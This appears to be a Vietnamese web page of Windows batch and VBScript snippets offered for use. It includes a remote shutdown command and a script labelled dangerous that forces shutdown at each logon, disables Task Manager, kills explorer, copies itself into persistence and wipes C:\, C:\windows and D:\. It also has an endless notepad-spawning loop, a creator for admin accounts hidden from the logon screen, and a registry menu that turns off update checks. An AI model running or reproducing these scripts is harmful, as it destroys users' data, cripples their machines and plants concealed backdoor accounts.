Shutdown qua IP : Thay đổi IP mún tắt 192.168.1.150
color c
@echo off
title                        Danhy.tk
echo ------------------------------------------------------
echo                      Danhy.tk
echo ------------------------------------------------------
@echo off
shutdown -s -m 192.168.1.150
DIE Windows : Nguy hiểm
color a
@echo off
title                        Danhy.tk
echo ------------------------------------------------------
echo                      Danhy.tk
echo ------------------------------------------------------
@echo off
start tool.bat
@echo off
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 15" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
copy tool.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
taskkill /f /im explorer.exe
@echo off
Dim wsh
Set wsh = createobject(”wscript.shell”)
wsh.run “RUNDLL32.EXE user.exe,exitwindows”
@echo off
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"
On Error Resume Next
Const vic = "D:\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub
On Error Resume Next
Const vic1 = "C:\windows\"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub
On Error Resume Next
Const vic2 = "C:\"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub
On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
cls
@echo off
:a
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto a
Tạo ADmin User : 
@ECHO off
TITLE Admin account creator (0ni) 
COLOR 0f
set AC_PART=001
:HEADER
echo.
ECHO   [INFO]
ECHO   [-] Create a hidden user acount (U:%AC_NAME%; P:%AC_PASS%; G:%AC_GROUP%; H:%AC_HIDE% )
echo     \
GOTO %AC_PART%
:001
SET /P AC_NAME=[*] Acount name? :
cls
SET AC_PART=002
GOTO HEADER
:002
SET /P AC_PASS=[*] Acount password? :
cls
SET AC_PART=003
GOTO HEADER
:003
SET /P AC_COMMENT=[*] Acount Comment? :
cls
SET AC_PART=004
GOTO HEADER
:004
ECHO     [* The following groups are available on the machine.
ECHO.
net localgroup | find "*"
ECHO.
SET /P AC_GROUP=[*] Group? :
cls
SET AC_PART=005
GOTO HEADER
:005
SET /P AC_OK=[*] Creating acount now, Continue? (y/n) :
IF NOT %AC_OK%==y GOTO 0051
net user %AC_NAME% %AC_PASS% /add /COMMENT:"%AC_COMMENT%"
net localgroup "%AC_GROUP%" %AC_NAME% /add
ECHO.
pause
:0051
cls
SET AC_PART=006
GOTO HEADER
:006
SET /P AC_HIDE=[*] Do you want to hide the acount from the XP logon screen? (y/n) :
IF NOT %AC_HIDE%==y GOTO END
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%TEMP%\addregistry.reg
echo "%AC_NAME%"=dword:00000000>>%TEMP%\addregistry.reg
Regedit /s %TEMP%\addregistry.reg
Del %TEMP%\addregistry.reg
:END
ECHO.
pause
File Hiệu chỉnh REG :
@echo off
color 1a
chcp 437
mode con lines=20 cols=60
title Cong Cu Set Windows
set tit1=           Windows Security Nift DanhY
set tit2=          =========BaoKhanh===========
goto setwin
:setwin
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
echo Nhap 1 de Bat Windown Defender Win10
echo Nhap 2 de Tat Thong Bao tren Windows
echo Nhap 3 de Bat Thong Bao tren Windows
echo Nhap 4 de Tat Update Windows
echo Nhap 5 de Tat Update IDM
echo Nhap 6 de Tao User
echo Nhap 7 Fix Office 2003
echo Nhap 8 Fix Office 2007
echo Nhap 9 Fix Office 2010
echo Nhap 10 Fix Office 2013
echo Nhap 11 Fix Office 2016
echo Nhap 12 Fix Khong Mo Duoc Kaspersky
set Setup=
set /P Setup= Moi Nhap :
IF %Setup%==1 goto batwin10
IF %Setup%==2 goto tatbao
IF %Setup%==3 goto batbao
IF %Setup%==4 goto date
IF %Setup%==5 goto idm
IF %Setup%==6 goto taouser
IF %Setup%==7 goto 2003
IF %Setup%==8 goto 2007
IF %Setup%==9 goto 2010
IF %Setup%==10 goto 2013
IF %Setup%==11 goto 2016
IF %Setup%==12 goto kas
goto setwin
:kas 
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState /t REG_SZ /d IMAGE_STATE_COMPLETE /f
@pause
goto End
:2003
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Options" /v NoRereg /t REG_DWORD /d 1 /f
@pause
goto End
:2007
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Options" /v NoRereg /t REG_DWORD /d 1 /f
@pause
goto End
:2010
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options" /v NoRereg /t REG_DWORD /d 1 /f
@pause
goto End
:2013
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options" /v NoRereg /t REG_DWORD /d 1 /f
@pause
goto End
:2016
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options" /v NoRereg /t REG_DWORD /d 1 /f
@pause
goto End
:batwin10
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 0 /f
@pause
goto End
:tatbao
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
@pause
goto End
:batbao
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 1 /f
@pause
goto End
:update
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableOSUpgrade /t REG_DWORD /d 0x0000001 /f
@pause
goto End
:idm
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
reg add "HKEY_CURRENT_USER\SOFTWARE\DownloadManager" /v LstCheck /t REG_SZ /d 09/22/99 /f
reg add "HKEY_CURRENT_USER\SOFTWARE\DownloadManager" /v LastCheck /t REG_SZ /d 09/22/99 /f
@pause
goto End
:taouser
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
@ECHO off
TITLE Admin account creator (0ni) 
COLOR 0f
set AC_PART=001
:HEADER
echo.
ECHO   [INFO]
ECHO   [-] Create a hidden user acount (U:%AC_NAME%; P:%AC_PASS%; G:%AC_GROUP%; H:%AC_HIDE% )
echo     \
GOTO %AC_PART%
:001
SET /P AC_NAME=[*] Acount name? :
cls
SET AC_PART=002
GOTO HEADER
:002
SET /P AC_PASS=[*] Acount password? :
cls
SET AC_PART=003
GOTO HEADER
:003
SET /P AC_COMMENT=[*] Acount Comment? :
cls
SET AC_PART=004
GOTO HEADER
:004
ECHO     [* The following groups are available on the machine.
ECHO.
net localgroup | find "*"
ECHO.
SET /P AC_GROUP=[*] Group? :
cls
SET AC_PART=005
GOTO HEADER
:005
SET /P AC_OK=[*] Creating acount now, Continue? (y/n) :
IF NOT %AC_OK%==y GOTO 0051
net user %AC_NAME% %AC_PASS% /add /COMMENT:"%AC_COMMENT%"
net localgroup "%AC_GROUP%" %AC_NAME% /add
ECHO.
pause
:0051
cls
SET AC_PART=006
GOTO HEADER
:006
SET /P AC_HIDE=[*] Do you want to hide the acount from the XP logon screen? (y/n) :
IF NOT %AC_HIDE%==y GOTO END
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%TEMP%\addregistry.reg
echo "%AC_NAME%"=dword:00000000>>%TEMP%\addregistry.reg
Regedit /s %TEMP%\addregistry.reg
Del %TEMP%\addregistry.reg
:END
ECHO.
@pause
goto End
:End
cls
echo.
echo %tit1%
echo %tit2%
echo.
echo.
@pause